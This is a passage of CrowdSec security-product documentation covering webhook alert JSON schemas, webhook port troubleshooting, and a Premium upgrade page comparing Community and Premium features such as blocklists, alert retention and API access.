"description": "Whether the decision was created manually", "title": "Is Manual Decision", "type": "boolean" }, "message": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The alert message", "title": "Message" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "scenario": { "description": "The attack scenario", "title": "Scenario", "type": "string" }, "scenario_confidence": { "default": 0, "description": "The confidence of the scenario", "title": "Scenario Confidence", "type": "integer" }, "source": { "$ref": "#/$defs/AlertSource", "description": "The source of the attack" }, "start_at": { "description": "The attack start time", "format": "date-time", "title": "Start At", "type": "string" }, "stop_at": { "description": "The attack stop time", "format": "date-time", "title": "Stop At", "type": "string" }, "target": { "$ref": "#/$defs/AlertTarget", "description": "The target of the attack" }, "uuid": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The alert UUID", "title": "Uuid" } }, "required": [ "organization_id", "scenario", "start_at", "stop_at", "target", "source", "false_positives" ], "title": "BlockingSafeIP", "type": "object" } ``` ### Admin[โ€‹](#admin "Direct link to Admin") ![Admin](/assets/images/admin-409b78563ebbbc79d73224bb2aded8b0.png) #### `Payment Failed`[โ€‹](#payment-failed "Direct link to payment-failed") A payment attempt for your enterprise subscription failed. This can happen for these scenarios: * Payment needs additional approval from your bank. * You have insufficient funds to complete the transaction. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "event_type": "payment_failed" } } ``` JSON Schema JSONCOPY ``` { "$defs": {}, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "event_type": { "const": "payment_failed", "default": "payment_failed", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "event_type" ], "title": "PremiumPaymentFailed", "type": "object" } }, "required": [ "metadata", "details" ] } ``` ## Troubleshooting[โ€‹](#troubleshooting "Direct link to Troubleshooting") ### Network error[โ€‹](#network-error "Direct link to Network error") If you are unable to ping your webhook URL, this may be because of networking problem. The webhook integration is allowed to send HTTP request on the following port: * `80` * `8080` * `443` * `8443` --- # Premium Upgrade ## Find Premium Features **Made for You**[โ€‹](#find-premium-features-made-for-you "Direct link to find-premium-features-made-for-you") **Premium** is designed if you're seeking **enhanced protection** or want to unlock **commercial use** with advanced features.
**Community** covers the basics, **Premium** scales with your projects' needs. **Select your profile below** to see only the features that matter most to you.
*Or directly browse all premium features in the [**Features Overview**](https://docs.crowdsec.net/u/console/premium_upgrade/features_overview.md).* Your Profile โš™๏ธ ### DevOps / SRE Managing solo-infra or in small teams, focused on reducing noise and blocking more threats. Solo ยท SMB ๐Ÿ›ก๏ธ ### SecOps / Blue Team Team needs collaboration, investigation capabilities, and data retention for audits. Team ยท Enterprise ๐Ÿข ### MSP / Integrator Managing security for multiple clients, requiring isolation and automation capabilities. Multi-tenant ยท API * devops * ๐Ÿ›ก๏ธ SecOps / Blue Team * ๐Ÿข MSP / Integrator ### Solo or Small Team Infrastructure Management[โ€‹](#solo-or-small-team-infrastructure-management "Direct link to Solo or Small Team Infrastructure Management") **Best for:** Individual engineers or small teams managing infrastructure, focused on reducing noise and blocking more threats efficiently. *** #### ๐Ÿ›ก๏ธ Enhanced Protection[โ€‹](#๏ธ-enhanced-protection "Direct link to ๐Ÿ›ก๏ธ Enhanced Protection") #### [Expanded Community Blocklist Coverage](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) [3k โ†’ 50k IPs](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) [Receive the top 50k most aggressive attackers targeting services like yours (up from 3k in Community). More attackers blocked before they reach your servers.](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) [Community: top 3k โ†’ Premium: top 50k (ร—16)](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) [Learn more โ†’](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) #### [Threat Forecast Blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md) [Up to 40% more blocks](https://docs.crowdsec.net/u/console/threat_forecast.md) [Automatically generated blocklist from signals shared by your organization. Complements the community blocklist for extra protection tailored to your infrastructure.](https://docs.crowdsec.net/u/console/threat_forecast.md) [Community: unavailable โ†’ Premium: tailor-made blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/threat_forecast.md) #### [Background Noise Filtering](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [60\~90% noise reduction](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Filter out background noise from your alert board (mass scanners, crawlers) to focus on real threats. Configurable levels: Low, Medium, High.](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Community: all signals โ†’ Premium: real threats only](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/background_noise.md) #### [Unlimited Blocklist Subscriptions](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [3 โ†’ โˆž](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Subscribe to as many specialized blocklists as needed without limits: bruteforce, botnets, tor, scanners, proxies...](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Community: 3 max โ†’ Premium: unlimited](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Learn more โ†’](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) *** #### โšก Automation & Sync[โ€‹](#-automation--sync "Direct link to โšก Automation & Sync") #### [Remediation Sync](https://docs.crowdsec.net/u/console/remediation_sync.md) [Automatically sync security decisions to all Security Engines and integrations. One blocklist update propagates everywhere, zero manual work.](https://docs.crowdsec.net/u/console/remediation_sync.md) [2ร—](https://docs.crowdsec.net/u/console/remediation_sync.md) [more proactive blocking](https://docs.crowdsec.net/u/console/remediation_sync.md) [0](https://docs.crowdsec.net/u/console/remediation_sync.md) [manual propagation](https://docs.crowdsec.net/u/console/remediation_sync.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/remediation_sync.md) #### Auto Enroll Streamlined Automatically enroll new Security Engines into your organization as they're deployed. Perfect for infrastructure-as-code (Terraform, Ansible, K8s). Community: manual enrollment โ†’ Premium: automatic enrollment *** #### ๐Ÿ“Š Monitoring[โ€‹](#-monitoring "Direct link to ๐Ÿ“Š Monitoring") #### [Am I Under Attack](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Real-time](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Get alerted when abnormal attack surges are detected on your infrastructure. Compares current traffic to historical baselines. Includes webhook + email notifications.](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) *** #### ๐Ÿ’ก Why Premium for DevOps/SRE?[โ€‹](#-why-premium-for-devopssre "Direct link to ๐Ÿ’ก Why Premium for DevOps/SRE?") * **Less noise, more signal**: Filter out scanner noise and focus on real threats * **Automation-first**: Sync decisions automatically, enroll engines without manual steps * **Better blocking**: Access to 50k+ IPs and organization-specific threat intel * **Peace of mind**: Get alerted when attacks surge ### Team Collaboration & Investigation[โ€‹](#team-collaboration--investigation "Direct link to Team Collaboration & Investigation") **Best for:** Security teams that need to collaborate, investigate incidents, and maintain data retention for compliance and audits. *** #### ๐Ÿ‘ฅ Team Collaboration & Access Control[โ€‹](#-team-collaboration--access-control "Direct link to ๐Ÿ‘ฅ Team Collaboration & Access Control") #### [Expanded Organization Seats](https://docs.crowdsec.net/u/console/organizations/intro) [3 seats included](https://docs.crowdsec.net/u/console/organizations/intro) [Give view/edit/admin access to your team. Multiple members work simultaneously without access conflicts. Add more seats as needed.](https://docs.crowdsec.net/u/console/organizations/intro) [Community: 1 user only โ†’ Premium: full team](https://docs.crowdsec.net/u/console/organizations/intro) [Learn more โ†’](https://docs.crowdsec.net/u/console/organizations/intro) #### [Centralized Allowlists](https://docs.crowdsec.net/u/console/allowlists.md) [Organization-wide](https://docs.crowdsec.net/u/console/allowlists.md) [Manage allowlists from one place and apply across all Security Engines and integrations. Supports automatic expiration for temporary allowlists.](https://docs.crowdsec.net/u/console/allowlists.md) [Community: per-engine โ†’ Premium: centralized + expiration](https://docs.crowdsec.net/u/console/allowlists.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/allowlists.md) #### [Blocklist Creation & Sharing](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Custom via API](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Create and distribute custom blocklists across multiple organizations or partners. Enable coordinated security operations across your ecosystem.](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/service_api/blocklists.md) #### [Service API (SAPI)API](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [REST + webhooks](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Automate Console management: create and share custom blocklists, manage decisions and enrollments via API. Integrate into CI/CD or SOAR pipelines.](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Community: no API access โ†’ Premium: full SAPI](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/service_api/getting_started.md) *** #### ๐Ÿ” Investigation & Forensics[โ€‹](#-investigation--forensics "Direct link to ๐Ÿ” Investigation & Forensics") #### [Increased Alert Quotas and Extended Retention](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [2 months โ†’ 1 year](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [Keep up to 1 year of alerts with custom quotas (up to millions/month). Essential for audits, forensic investigation, and trend analysis.](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [Community: 500/month, 2 months โ†’ Premium: millions/month, 365 days](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/quotas.md#why-upgrade-to-premium-) #### IP Reputation Investigation 30 โ†’ 100/week View complete IP profiles: reputation, behavior, fingerprint, MITRE ATT\&CK. Direct from Console for investigations. Community: 30 lookups/week โ†’ Premium: 100 lookups/week #### [CTI API Access](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) [120 โ†’ 1500 calls/month](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) [Query CrowdSec IP reputation from your SIEM, SOAR or custom tools. Includes MITRE ATT\&CK mappings for contextual threat qualification.](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) [Community: 120 calls/month โ†’ Premium: 1500 calls/month](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) [Learn more โ†’](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) #### [Background Noise Filtering](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [60\~90% noise reduction](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Filter internet background radiation automatically. Configurable levels (Low, Medium, High) to match security requirements.](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/background_noise.md) *** #### ๐Ÿ”” Monitoring & Alerting[โ€‹](#-monitoring--alerting "Direct link to ๐Ÿ”” Monitoring & Alerting") #### [Am I Under Attack](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Real-time](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Alert when attack surges are detected on your infrastructure. Compares current traffic vs. historical baselines. Webhook + email included.](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) #### [Push Notifications Integrations](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Messaging & Webhooks](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Receive alerts in existing tools when Security Engines go offline or become outdated. Native integrations with major SecOps tools.](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Community: email only โ†’ Premium: webhooks + integrations](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) *** #### ๐Ÿ›ก๏ธ Enhanced Protection[โ€‹](#๏ธ-enhanced-protection-1 "Direct link to ๐Ÿ›ก๏ธ Enhanced Protection") #### [Expanded Community Blocklist Coverage](https://docs.crowdsec.net/u/console/blocklists/intro) [3k โ†’ 50k IPs](https://docs.crowdsec.net/u/console/blocklists/intro) [Top 50k most aggressive attackers (up from 3,000 in Community).](https://docs.crowdsec.net/u/console/blocklists/intro) [Learn more โ†’](https://docs.crowdsec.net/u/console/blocklists/intro) #### [Threat Forecast Blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md) [Up to 40% more blocks](https://docs.crowdsec.net/u/console/threat_forecast.md) [Automatically generated blocklist from signals shared by your organization. Complements the community blocklist for extra protection tailored to your infrastructure.](https://docs.crowdsec.net/u/console/threat_forecast.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/threat_forecast.md) #### [Remediation Sync](https://docs.crowdsec.net/u/console/remediation_sync.md) [Streamlined](https://docs.crowdsec.net/u/console/remediation_sync.md) [Sync security decisions across all engines and integrations automatically.](https://docs.crowdsec.net/u/console/remediation_sync.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/remediation_sync.md) *** #### ๐Ÿ’ก Why Premium for SecOps/Blue Team?[โ€‹](#-why-premium-for-secopsblue-team "Direct link to ๐Ÿ’ก Why Premium for SecOps/Blue Team?") * **Team collaboration**: Multiple seats with role-based access * **Long-term retention**: 1 year of alerts for compliance and forensics * **Rich investigation**: 100 CTI lookups/week with MITRE ATT\&CK context * **Integration-ready**: Push to Slack, PagerDuty, SIEM tools ### Multi-Tenant Management & Automation[โ€‹](#multi-tenant-management--automation "Direct link to Multi-Tenant Management & Automation") **Best for:** MSPs and integrators managing security for multiple clients, requiring isolation, automation, and API-driven workflows. *** #### ๐Ÿ—๏ธ Multi-Tenancy & Isolation[โ€‹](#๏ธ-multi-tenancy--isolation "Direct link to ๐Ÿ—๏ธ Multi-Tenancy & Isolation") #### Multi-Organization Segment client environments into separate organizations. Each client sees only their data. Manage all clients from a single account. โˆž organizations 100% isolation *** #### ๐Ÿค– Automation & API[โ€‹](#-automation--api "Direct link to ๐Ÿค– Automation & API") #### [Service API (SAPI)API](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [REST + webhooks](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Automate Console management: create and share custom blocklists, manage decisions and enrollments via API. Integrate into CI/CD or SOAR pipelines.](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Community: no API access โ†’ Premium: full SAPI](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/service_api/getting_started.md) #### Auto Enroll Streamlined Automatically enroll new Security Engines into your organization as deployed. Perfect for infrastructure-as-code deployments (Terraform, Ansible, K8s). Community: manual enrollment โ†’ Premium: automatic enrollment #### [Blocklist Creation & Sharing](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Custom via API](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Create and distribute custom blocklists across multiple organizations or partners. Enable coordinated security operations across your ecosystem.](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/service_api/blocklists.md) #### [Remediation Sync](https://docs.crowdsec.net/u/console/remediation_sync.md) [Streamlined](https://docs.crowdsec.net/u/console/remediation_sync.md) [Sync security decisions across all client engines and integrations automatically.](https://docs.crowdsec.net/u/console/remediation_sync.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/remediation_sync.md) *** #### ๐Ÿ‘ฅ Team & Client Management[โ€‹](#-team--client-management "Direct link to ๐Ÿ‘ฅ Team & Client Management") #### [Expanded Organization Seats](https://docs.crowdsec.net/u/console/organizations/intro) [3 seats included](https://docs.crowdsec.net/u/console/organizations/intro) [Provide view/edit/admin access to team members or clients. Add seats as your business grows.](https://docs.crowdsec.net/u/console/organizations/intro) [Learn more โ†’](https://docs.crowdsec.net/u/console/organizations/intro) #### [Centralized Allowlists](https://docs.crowdsec.net/u/console/allowlists.md) [Organization-wide](https://docs.crowdsec.net/u/console/allowlists.md) [Manage allowlists centrally and apply across all Security Engines. Supports expiration for temporary allowlisting.](https://docs.crowdsec.net/u/console/allowlists.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/allowlists.md) *** #### ๐Ÿ›ก๏ธ Protection at Scale[โ€‹](#๏ธ-protection-at-scale "Direct link to ๐Ÿ›ก๏ธ Protection at Scale") #### [Expanded Community Blocklist Coverage](https://docs.crowdsec.net/u/console/blocklists/intro) [3k โ†’ 50k IPs](https://docs.crowdsec.net/u/console/blocklists/intro) [Access to 50k most aggressive IPs (vs 3k in Community).](https://docs.crowdsec.net/u/console/blocklists/intro) [Learn more โ†’](https://docs.crowdsec.net/u/console/blocklists/intro) #### Unlimited Blocklist Subscriptions 3 โ†’ โˆž Subscribe to unlimited specialized blocklists per organization. #### [Threat Forecast Blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md) [Up to 40% more blocks](https://docs.crowdsec.net/u/console/threat_forecast.md) [Automatically generated blocklist from signals shared by your organization. Complements the community blocklist for extra protection tailored to your infrastructure.](https://docs.crowdsec.net/u/console/threat_forecast.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/threat_forecast.md) #### [Background Noise Filtering](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [60\~90% noise reduction](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Filter internet noise automatically across all client organizations.](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/background_noise.md) *** #### ๐Ÿ’ก Why Premium for MSPs?[โ€‹](#-why-premium-for-msps "Direct link to ๐Ÿ’ก Why Premium for MSPs?") * **Multi-tenant architecture**: Complete client isolation with unlimited organizations * **API-first**: Full Service API for automation and integration * **Scalability**: Auto-enroll, remediation sync, unlimited blocklists * **White-label ready**: Manage all clients from single dashboard ### Solo or Small Team Infrastructure Management[โ€‹](#solo-or-small-team-infrastructure-management "Direct link to Solo or Small Team Infrastructure Management") **Best for:** Individual engineers or small teams managing infrastructure, focused on reducing noise and blocking more threats efficiently. *** #### ๐Ÿ›ก๏ธ Enhanced Protection[โ€‹](#๏ธ-enhanced-protection "Direct link to ๐Ÿ›ก๏ธ Enhanced Protection") #### [Expanded Community Blocklist Coverage](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) [3k โ†’ 50k IPs](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) [Receive the top 50k most aggressive attackers targeting services like yours (up from 3k in Community). More attackers blocked before they reach your servers.](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) [Community: top 3k โ†’ Premium: top 50k (ร—16)](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) [Learn more โ†’](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-premium) #### [Threat Forecast Blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md) [Up to 40% more blocks](https://docs.crowdsec.net/u/console/threat_forecast.md) [Automatically generated blocklist from signals shared by your organization. Complements the community blocklist for extra protection tailored to your infrastructure.](https://docs.crowdsec.net/u/console/threat_forecast.md) [Community: unavailable โ†’ Premium: tailor-made blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/threat_forecast.md) #### [Background Noise Filtering](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [60\~90% noise reduction](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Filter out background noise from your alert board (mass scanners, crawlers) to focus on real threats. Configurable levels: Low, Medium, High.](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Community: all signals โ†’ Premium: real threats only](https://docs.crowdsec.net/u/console/alerts/background_noise.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/alerts/background_noise.md) #### [Unlimited Blocklist Subscriptions](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [3 โ†’ โˆž](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Subscribe to as many specialized blocklists as needed without limits: bruteforce, botnets, tor, scanners, proxies...](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Community: 3 max โ†’ Premium: unlimited](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) [Learn more โ†’](https://docs.crowdsec.net/u/blocklists/intro.md#crowdsec-blocklist-tiers) *** #### โšก Automation & Sync[โ€‹](#-automation--sync "Direct link to โšก Automation & Sync") #### [Remediation Sync](https://docs.crowdsec.net/u/console/remediation_sync.md) [Automatically sync security decisions to all Security Engines and integrations. One blocklist update propagates everywhere, zero manual work.](https://docs.crowdsec.net/u/console/remediation_sync.md) [2ร—](https://docs.crowdsec.net/u/console/remediation_sync.md) [more proactive blocking](https://docs.crowdsec.net/u/console/remediation_sync.md) [0](https://docs.crowdsec.net/u/console/remediation_sync.md) [manual propagation](https://docs.crowdsec.net/u/console/remediation_sync.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/remediation_sync.md) #### Auto Enroll Streamlined Automatically enroll new Security Engines into your organization as they're deployed. Perfect for infrastructure-as-code (Terraform, Ansible, K8s). Community: manual enrollment โ†’ Premium: automatic enrollment *** #### ๐Ÿ“Š Monitoring[โ€‹](#-monitoring "Direct link to ๐Ÿ“Š Monitoring") #### [Am I Under Attack](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Real-time](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Get alerted when abnormal attack surges are detected on your infrastructure. Compares current traffic to historical baselines. Includes webhook + email notifications.](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/security_engines/am_i_under_attack.md) *** #### ๐Ÿ’ก Why Premium for DevOps/SRE?[โ€‹](#-why-premium-for-devopssre "Direct link to ๐Ÿ’ก Why Premium for DevOps/SRE?") * **Less noise, more signal**: Filter out scanner noise and focus on real threats * **Automation-first**: Sync decisions automatically, enroll engines without manual steps * **Better blocking**: Access to 50k+ IPs and organization-specific threat intel * **Peace of mind**: Get alerted when attacks surge *** ## Community vs Premium: Key Differences[โ€‹](#community-vs-premium-key-differences "Direct link to Community vs Premium: Key Differences") | Feature | Community | Premium | | ----------------------------- | ---------- | ----------------- | | **Community Blocklist** | Top 3k IPs | Top 50k IPs | | **Blocklist Subscriptions** | 3 max | Unlimited | | **Alerts per Month** | 500 | Up to millions | | **Alert Retention** | 2 months | 12 months | | **Remediation Sync** | โœ— | โœ“ | | **Background Noise Filter** | โœ— | โœ“ | | **Am I Under Attack** | โœ— | โœ“ | | **Threat Forecast Blocklist** | โœ— | โœ“ | | **Organization Seats** | 1 | 5 included + more | | **CTI API Lookups/Week** | 30 | 100 + more | | **Service API (SAPI)** | โœ— | โœ“ | | **Multi-Organization (MSP)** | โœ— | โœ“ | *** ## How to Upgrade to Premium[โ€‹](#how-to-upgrade-to-premium "Direct link to How to Upgrade to Premium") ### 1๏ธโƒฃ Compare Plans[โ€‹](#1๏ธโƒฃ-compare-plans "Direct link to 1๏ธโƒฃ Compare Plans") Review available plans and pricing based on your volume and requirements. ### 2๏ธโƒฃ Upgrade or Contact[โ€‹](#2๏ธโƒฃ-upgrade-or-contact "Direct link to 2๏ธโƒฃ Upgrade or Contact") [Upgrade self-service](https://app.crowdsec.net/pricing) with 30 days free trial, or contact our team for custom plans (enterprise, MSP, volume). ### 3๏ธโƒฃ Immediate Access[โ€‹](#3๏ธโƒฃ-immediate-access "Direct link to 3๏ธโƒฃ Immediate Access") Premium features available instantly in your organization. No migration required. *** ## Ready to Go Further?[โ€‹](#ready-to-go-further "Direct link to Ready to Go Further?") ### Start with a trial or discuss your needs with our team[โ€‹](#start-with-a-trial-or-discuss-your-needs-with-our-team "Direct link to Start with a trial or discuss your needs with our team") No immediate commitment required. Premium features available instantly upon upgrade. [View Pricing โ†’](https://app.crowdsec.net/pricing)[Contact Team](https://www.crowdsec.net/contact-crowdsec) *** ## Need more help deciding?[โ€‹](#need-more-help-deciding "Direct link to Need more help deciding?") To help you make the most of your Premium upgrade, explore these guides: * [**Optimal Setup**](https://docs.crowdsec.net/u/console/premium_upgrade/optimal_setup.md) - Organize your Security Engines before migrating to maximize value * [**Testing Premium**](https://docs.crowdsec.net/u/console/premium_upgrade/testing_premium.md) - Measure the value concretely during your trial period * [**All Features Reference**](https://docs.crowdsec.net/u/console/premium_upgrade/features_overview.md) - Complete catalog of Premium features --- # Premium Features Overview Premium features enable multiple use cases. Make the best use of the premium features for your needs in: **Scaling, Multi-tenancy, Enhanced proactive protection, Centralized management, Team collaboration, Integration and automation, Enhanced threat intelligence, and improved support.** *** ## Scaling, Automation & Multi-Tenancy[โ€‹](#scaling-automation--multi-tenancy "Direct link to Scaling, Automation & Multi-Tenancy") #### [Remediation Sync](https://docs.crowdsec.net/u/console/remediation_sync.md) [Streamlined](https://docs.crowdsec.net/u/console/remediation_sync.md) [Automatically synchronize security decisions across your entire organization. Syncs to all Security Engines and Blocklists Integration endpoints, ensuring consistent protection across your infrastructure.](https://docs.crowdsec.net/u/console/remediation_sync.md) [Community: no sync โ†’ Premium: automatic sync](https://docs.crowdsec.net/u/console/remediation_sync.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/remediation_sync.md) #### [Console Decision Management](https://docs.crowdsec.net/u/console/decisions/decisions_management.md) [Organization-wide](https://docs.crowdsec.net/u/console/decisions/decisions_management.md) [Add, delete, and manage security decisions directly from the Console. Force pull blocklists when subscribing or unsubscribing, giving you complete control over your security posture from a central interface.](https://docs.crowdsec.net/u/console/decisions/decisions_management.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/decisions/decisions_management.md) #### [Centralized Allowlists](https://docs.crowdsec.net/u/console/allowlists.md) [Organization-wide](https://docs.crowdsec.net/u/console/allowlists.md) [Manage allowlists from a single location and apply them across all security engines and integrations organization-wide. Supports IP expiration for temporary allowlisting.](https://docs.crowdsec.net/u/console/allowlists.md) [Community: per-engine โ†’ Premium: centralized + expiration](https://docs.crowdsec.net/u/console/allowlists.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/allowlists.md) #### [Service API (SAPI)API](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Automation-enabler](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Access APIs for console management. Automate blocklist creation, decision management, and enrollment operations via API.](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Community: no API access โ†’ Premium: full SAPI](https://docs.crowdsec.net/u/console/service_api/getting_started.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/service_api/getting_started.md) #### [Blocklist Creation & SharingAPI](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Automation-enabler](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Distribute custom blocklists across multiple organizations or partners, enabling coordinated security operations across your business ecosystem.](https://docs.crowdsec.net/u/console/service_api/blocklists.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/service_api/blocklists.md) #### Auto Enroll Streamlined Automatically enroll new security engines into your organization for streamlined deployment and management. Perfect for infrastructure-as-code deployments. Community: manual enrollment โ†’ Premium: automatic enrollment #### [Expanded Organization Seats](https://docs.crowdsec.net/u/console/organizations/intro) [5 seats included](https://docs.crowdsec.net/u/console/organizations/intro) [Provide view/edit/admin access to your customers or collaborate with team members by adding more seats to your organization. Base Premium plan includes 3 seats, with options to add more.](https://docs.crowdsec.net/u/console/organizations/intro) [Community: 1 user only โ†’ Premium: full team (5+)](https://docs.crowdsec.net/u/console/organizations/intro) [Learn more โ†’](https://docs.crowdsec.net/u/console/organizations/intro) *** ## Extra Protection[โ€‹](#extra-protection "Direct link to Extra Protection") #### [Threat Forecast Blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md) [Up to 40% more blocks](https://docs.crowdsec.net/u/console/threat_forecast.md) [Access exclusive, organization-specific blocklist generated from the signals your organization shares with CrowdSec. Complements the community blocklist for extra protection tailored to your infrastructure.](https://docs.crowdsec.net/u/console/threat_forecast.md) [Community: unavailable โ†’ Premium: signals-based blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md) [Learn more โ†’](https://docs.crowdsec.net/u/console/threat_forecast.md) #### [Expanded Community Blocklist Coverage](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-lite) [3k โ†’ 50k IPs](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-lite) [Unlock the premium Community Blocklist as a network participant. Receive up to 50k of the most aggressive attackers targeting similar services as yours (up from top 3k in Community).](https://docs.crowdsec.net/docs/central_api/community_blocklist#community-blocklist-lite) [Community: top 3k โ†’ Premium: top 50k 